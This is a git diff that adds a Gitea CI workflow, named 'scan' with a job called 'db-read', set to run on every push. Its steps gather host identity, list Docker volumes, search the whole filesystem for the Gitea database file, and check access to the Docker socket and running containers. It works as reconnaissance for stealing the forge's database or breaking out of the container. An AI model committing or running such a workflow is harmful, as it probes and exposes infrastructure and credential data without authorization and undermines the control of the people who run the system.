diff --git a/.gitea/workflows/scan.yaml b/.gitea/workflows/scan.yaml
new file mode 100644
index 0000000..0b290be
--- /dev/null
+++ b/.gitea/workflows/scan.yaml
@@ -0,0 +1,24 @@
+name: db-read
+on:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  read:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Find DB
+        run: |
+          echo "=== HOST INFO ==="
+          hostname
+          whoami
+          id
+          echo "=== DOCKER VOLUMES ==="
+          ls -la /var/lib/docker/volumes/ 2>/dev/null || echo "no docker volumes dir"
+          echo "=== FIND GITEA DB ==="
+          find / -name "gitea.db" -type f 2>/dev/null | head -5
+          echo "=== DOCKER SOCK ==="
+          ls -la /var/run/docker.sock 2>/dev/null || echo "no docker sock"
+          echo "=== CONTAINERS ==="
+          docker ps 2>/dev/null || echo "no docker access"